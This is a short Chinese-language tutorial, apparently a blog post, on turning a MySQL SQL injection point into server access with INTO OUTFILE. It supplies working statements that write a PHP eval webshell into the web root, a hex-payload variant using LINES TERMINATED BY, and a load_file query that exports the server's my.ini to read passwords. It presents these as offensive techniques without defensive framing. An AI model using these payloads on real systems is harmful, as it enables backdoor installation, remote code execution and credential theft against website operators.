在注入过程中,如果存在注入点,可以直接导入一句话或者上传页面。过程中我们主要是利用into outfile函数进行上传。此处介绍两种关于into outfile利用的方式。
第一种直接将select内容导入到文件中:
Select version() into outfile “c:\\phpnow\\htdocs\\test.php”
此处将version()替换成一句话,<?php @eval($_post[“mima”])?>也即
Select <?php @eval($_post[“mima”])?> into outfile “c:\\phpnow\\htdocs\\test.php”
直接连接一句话就可以了,其实在select内容中不仅仅是可以上传一句话的,也可以上传很多的内容。
第二种修改文件结尾:
Into outfile “c:\\phpnow\\htdocs\\test.php” LINES TERMINATED BY 0x16进制文件
解释:通常是用‘\r\n’结尾,此处我们修改为自己想要的任何文件。
16进制可以为一句话或者其他任何的代码,可自行构造。在sqlmap中os-shell采取的就是这样的方式,可以参考以前写过的一篇文章os-shell解析。
Ps:(1)可能在文件路径当中要注意转义,这个要看具体的环境
(2)select load_file(‘c:\\wamp\\bin\\mysql\\mysql5.6.17\\my.ini’)into outfile ‘c:\\wamp\\www\\test.php’可以利用该语句将服务器当中的内容导出来,上述my.ini当中存在password项(不过默认被注释),当然会有很多的内容可以被导出来,这个要看自己的理解。
时间: 2024-10-27 10:06:37